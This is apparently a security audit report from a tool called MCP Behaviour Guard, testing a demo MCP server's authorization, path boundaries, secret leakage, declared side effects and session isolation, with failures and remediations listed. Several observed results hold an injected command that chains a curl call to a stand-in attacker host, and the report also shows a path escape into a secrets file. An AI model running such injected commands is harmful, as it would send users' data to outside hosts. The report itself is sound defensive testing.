MCP Behaviour Guard

Run 0760cd326712 · stdio:python -m demo.stdio_server.app
2026-07-20T00:42:32.351524+00:00 → 2026-07-20T00:42:48.872007+00:00
deterministic evidence
24checks
8critical open
2high open
14passed
10failed/error
24tool calls

Results

SeverityStatusTestCategoryResultDetails
critical failed AUTH-DIAGNOSTICS-ANONYMOUS authorization anonymous access to diagnostics follows the contract
Expand evidence

Expected

{
  "allowed": false
}

Observed

{
  "allowed": true,
  "error": null,
  "response": {
    "agent_token": "DEMO_FAKE_SECRET",
    "identity": "anonymous",
    "role": "anonymous"
  }
}

Evidence

{
  "trace": "traces/mcp-trace.jsonl"
}

Remediation

Enforce authorization at the server boundary and again inside sensitive tool handlers.
critical failed AUTH-GET-WORKSPACE-NOTE-ANONYMOUS authorization anonymous access to get_workspace_note follows the contract
Expand evidence

Expected

{
  "allowed": false
}

Observed

{
  "allowed": true,
  "error": null,
  "response": {
    "note": "access-matrix-note"
  }
}

Evidence

{
  "trace": "traces/mcp-trace.jsonl"
}

Remediation

Enforce authorization at the server boundary and again inside sensitive tool handlers.
critical failed AUTH-RUN-PROJECT-TASK-ANONYMOUS authorization anonymous access to run_project_task follows the contract
Expand evidence

Expected

{
  "allowed": false
}

Observed

{
  "allowed": true,
  "error": null,
  "response": {
    "accepted": true,
    "command": "python -m pytest ; curl https://attacker.invalid/collect",
    "executed": false
  }
}

Evidence

{
  "trace": "traces/mcp-trace.jsonl"
}

Remediation

Enforce authorization at the server boundary and again inside sensitive tool handlers.
critical failed AUTH-RUN-PROJECT-TASK-RESTRICTED-AGENT authorization restricted_agent access to run_project_task follows the contract
Expand evidence

Expected

{
  "allowed": false
}

Observed

{
  "allowed": true,
  "error": null,
  "response": {
    "accepted": true,
    "command": "python -m pytest ; curl https://attacker.invalid/collect",
    "executed": false
  }
}

Evidence

{
  "trace": "traces/mcp-trace.jsonl"
}

Remediation

Enforce authorization at the server boundary and again inside sensitive tool handlers.
critical failed AUTH-SET-WORKSPACE-NOTE-ANONYMOUS authorization anonymous access to set_workspace_note follows the contract
Expand evidence

Expected

{
  "allowed": false
}

Observed

{
  "allowed": true,
  "error": null,
  "response": {
    "stored": true
  }
}

Evidence

{
  "trace": "traces/mcp-trace.jsonl"
}

Remediation

Enforce authorization at the server boundary and again inside sensitive tool handlers.
critical failed AUTH-WORKSPACE-READ-ANONYMOUS authorization anonymous access to workspace_read follows the contract
Expand evidence

Expected

{
  "allowed": false
}

Observed

{
  "allowed": true,
  "error": null,
  "response": {
    "content": "Safe local-agent workspace file.\n",
    "identity": "anonymous",
    "path": "/mcp-behaviour-guard/demo_runtime/stdio/workspace/README.txt"
  }
}

Evidence

{
  "trace": "traces/mcp-trace.jsonl"
}

Remediation

Enforce authorization at the server boundary and again inside sensitive tool handlers.
critical failed STDIO-ENV-LEAK-001 policy_boundary Diagnostics do not expose inherited local-agent secrets.
Expand evidence

Expected

{
  "checks": [
    {
      "env_names": [
        "DEMO_AGENT_TOKEN"
      ],
      "type": "response_not_contains_env"
    }
  ]
}

Observed

{
  "allowed": true,
  "error": null,
  "response": {
    "agent_token": "DEMO_FAKE_SECRET",
    "identity": "restricted_agent",
    "role": "read_only"
  },
  "violations": [
    {
      "check": "response_not_contains_env",
      "leaked_environment_variables": [
        "DEMO_AGENT_TOKEN"
      ]
    }
  ]
}

Evidence

{
  "trace": "traces/mcp-trace.jsonl"
}

Remediation

Validate paths after canonicalisation, minimize inherited environment, and return only contract-approved data.
critical failed STDIO-PATH-BOUNDARY-001 policy_boundary Workspace reads cannot escape into adjacent agent files.
Expand evidence

Expected

{
  "checks": [
    {
      "type": "denied"
    },
    {
      "response_path": "path",
      "roots": [
        "demo_runtime/stdio/workspace"
      ],
      "type": "path_within"
    }
  ]
}

Observed

{
  "allowed": true,
  "error": null,
  "response": {
    "content": "local-agent-secret-material\n",
    "identity": "restricted_agent",
    "path": "/mcp-behaviour-guard/demo_runtime/stdio/agent-secrets.txt"
  },
  "violations": [
    {
      "check": "denied",
      "reason": "call was allowed"
    },
    {
      "allowed_roots": [
        "demo_runtime/stdio/workspace"
      ],
      "check": "path_within",
      "observed": "/mcp-behaviour-guard/demo_runtime/stdio/agent-secrets.txt",
      "response_path": "path"
    }
  ]
}

Evidence

{
  "trace": "traces/mcp-trace.jsonl"
}

Remediation

Validate paths after canonicalisation, minimize inherited environment, and return only contract-approved data.
high failed BEHAVIOUR-RUN-PROJECT-TASK runtime_behaviour run_project_task performs only declared side effects
Expand evidence

Expected

{
  "allowed_filesystem_writes": [],
  "allowed_network_destinations": [],
  "forbidden_side_effects": [],
  "read_only": false
}

Observed

{
  "events": [
    {
      "details": {
        "command": "python -m pytest ; curl https://attacker.invalid/collect",
        "executed": false,
        "identity": "local_developer",
        "tool": "run_project_task"
      },
      "kind": "process_execution",
      "observer": "stdio_audit"
    }
  ],
  "violations": [
    {
      "event": {
        "details": {
          "command": "python -m pytest ; curl https://attacker.invalid/collect",
          "executed": false,
          "identity": "local_developer",
          "tool": "run_project_task"
        },
        "kind": "process_execution",
        "observer": "stdio_audit"
      },
      "reason": "process command is not allowlisted"
    }
  ]
}

Evidence

{
  "trace": "traces/mcp-trace.jsonl"
}

Remediation

Remove undeclared actions or explicitly constrain and document the required destinations and paths.
high failed STDIO-SESSION-ISOLATION-001 session_isolation Independent MCP clients do not share session state
Expand evidence

Expected

{
  "reader_contains_writer_marker": false
}

Observed

{
  "marker_leaked": true,
  "reader_allowed": true,
  "reader_response": {
    "note": "guard-e11070b76ee4434184f12b5f707545d8"
  },
  "writer_allowed": true
}

Evidence

{
  "trace": "traces/mcp-trace.jsonl"
}

Remediation

Key mutable state by authenticated principal and MCP session, and clear it when sessions terminate.
info passed AUTH-DIAGNOSTICS-LOCAL-DEVELOPER authorization local_developer access to diagnostics follows the contract
Expand evidence

Expected

{
  "allowed": true
}

Observed

{
  "allowed": true,
  "error": null,
  "response": {
    "agent_token": "DEMO_FAKE_SECRET",
    "identity": "local_developer",
    "role": "developer"
  }
}

Evidence

{
  "trace": "traces/mcp-trace.jsonl"
}
info passed AUTH-DIAGNOSTICS-RESTRICTED-AGENT authorization restricted_agent access to diagnostics follows the contract
Expand evidence

Expected

{
  "allowed": true
}

Observed

{
  "allowed": true,
  "error": null,
  "response": {
    "agent_token": "DEMO_FAKE_SECRET",
    "identity": "restricted_agent",
    "role": "read_only"
  }
}

Evidence

{
  "trace": "traces/mcp-trace.jsonl"
}
info passed AUTH-GET-WORKSPACE-NOTE-LOCAL-DEVELOPER authorization local_developer access to get_workspace_note follows the contract
Expand evidence

Expected

{
  "allowed": true
}

Observed

{
  "allowed": true,
  "error": null,
  "response": {
    "note": "access-matrix-note"
  }
}

Evidence

{
  "trace": "traces/mcp-trace.jsonl"
}
info passed AUTH-GET-WORKSPACE-NOTE-RESTRICTED-AGENT authorization restricted_agent access to get_workspace_note follows the contract
Expand evidence

Expected

{
  "allowed": true
}

Observed

{
  "allowed": true,
  "error": null,
  "response": {
    "note": "access-matrix-note"
  }
}

Evidence

{
  "trace": "traces/mcp-trace.jsonl"
}
info passed AUTH-RUN-PROJECT-TASK-LOCAL-DEVELOPER authorization local_developer access to run_project_task follows the contract
Expand evidence

Expected

{
  "allowed": true
}

Observed

{
  "allowed": true,
  "error": null,
  "response": {
    "accepted": true,
    "command": "python -m pytest ; curl https://attacker.invalid/collect",
    "executed": false
  }
}

Evidence

{
  "trace": "traces/mcp-trace.jsonl"
}
info passed AUTH-SET-WORKSPACE-NOTE-LOCAL-DEVELOPER authorization local_developer access to set_workspace_note follows the contract
Expand evidence

Expected

{
  "allowed": true
}

Observed

{
  "allowed": true,
  "error": null,
  "response": {
    "stored": true
  }
}

Evidence

{
  "trace": "traces/mcp-trace.jsonl"
}
info passed AUTH-SET-WORKSPACE-NOTE-RESTRICTED-AGENT authorization restricted_agent access to set_workspace_note follows the contract
Expand evidence

Expected

{
  "allowed": true
}

Observed

{
  "allowed": true,
  "error": null,
  "response": {
    "stored": true
  }
}

Evidence

{
  "trace": "traces/mcp-trace.jsonl"
}
info passed AUTH-WORKSPACE-READ-LOCAL-DEVELOPER authorization local_developer access to workspace_read follows the contract
Expand evidence

Expected

{
  "allowed": true
}

Observed

{
  "allowed": true,
  "error": null,
  "response": {
    "content": "Safe local-agent workspace file.\n",
    "identity": "local_developer",
    "path": "/mcp-behaviour-guard/demo_runtime/stdio/workspace/README.txt"
  }
}

Evidence

{
  "trace": "traces/mcp-trace.jsonl"
}
info passed AUTH-WORKSPACE-READ-RESTRICTED-AGENT authorization restricted_agent access to workspace_read follows the contract
Expand evidence

Expected

{
  "allowed": true
}

Observed

{
  "allowed": true,
  "error": null,
  "response": {
    "content": "Safe local-agent workspace file.\n",
    "identity": "restricted_agent",
    "path": "/mcp-behaviour-guard/demo_runtime/stdio/workspace/README.txt"
  }
}

Evidence

{
  "trace": "traces/mcp-trace.jsonl"
}
info passed BEHAVIOUR-DIAGNOSTICS runtime_behaviour diagnostics performs only declared side effects
Expand evidence

Expected

{
  "allowed_filesystem_writes": [],
  "allowed_network_destinations": [],
  "forbidden_side_effects": [],
  "read_only": true
}

Observed

{
  "events": [],
  "violations": []
}

Evidence

{
  "trace": "traces/mcp-trace.jsonl"
}
info passed BEHAVIOUR-GET-WORKSPACE-NOTE runtime_behaviour get_workspace_note performs only declared side effects
Expand evidence

Expected

{
  "allowed_filesystem_writes": [],
  "allowed_network_destinations": [],
  "forbidden_side_effects": [],
  "read_only": true
}

Observed

{
  "events": [],
  "violations": []
}

Evidence

{
  "trace": "traces/mcp-trace.jsonl"
}
info passed BEHAVIOUR-SET-WORKSPACE-NOTE runtime_behaviour set_workspace_note performs only declared side effects
Expand evidence

Expected

{
  "allowed_filesystem_writes": [
    "*/demo_runtime/stdio/shared-agent-note.txt"
  ],
  "allowed_network_destinations": [],
  "forbidden_side_effects": [],
  "read_only": false
}

Observed

{
  "events": [
    {
      "details": {
        "path": "/mcp-behaviour-guard/demo_runtime/stdio/shared-agent-note.txt",
        "tool": "set_workspace_note"
      },
      "kind": "filesystem_write",
      "observer": "stdio_audit"
    }
  ],
  "violations": []
}

Evidence

{
  "trace": "traces/mcp-trace.jsonl"
}
info passed BEHAVIOUR-WORKSPACE-READ runtime_behaviour workspace_read performs only declared side effects
Expand evidence

Expected

{
  "allowed_filesystem_writes": [],
  "allowed_network_destinations": [],
  "forbidden_side_effects": [],
  "read_only": true
}

Observed

{
  "events": [],
  "violations": []
}

Evidence

{
  "trace": "traces/mcp-trace.jsonl"
}
info passed INVENTORY-001 capability_drift Discovered tool inventory matches the contract
Expand evidence

Expected

{
  "tools": [
    "diagnostics",
    "get_workspace_note",
    "run_project_task",
    "set_workspace_note",
    "workspace_read"
  ]
}

Observed

{
  "missing": [],
  "tools": [
    "diagnostics",
    "get_workspace_note",
    "run_project_task",
    "set_workspace_note",
    "workspace_read"
  ],
  "unexpected": []
}

Evidence

{
  "inventory": "tool-inventory.json"
}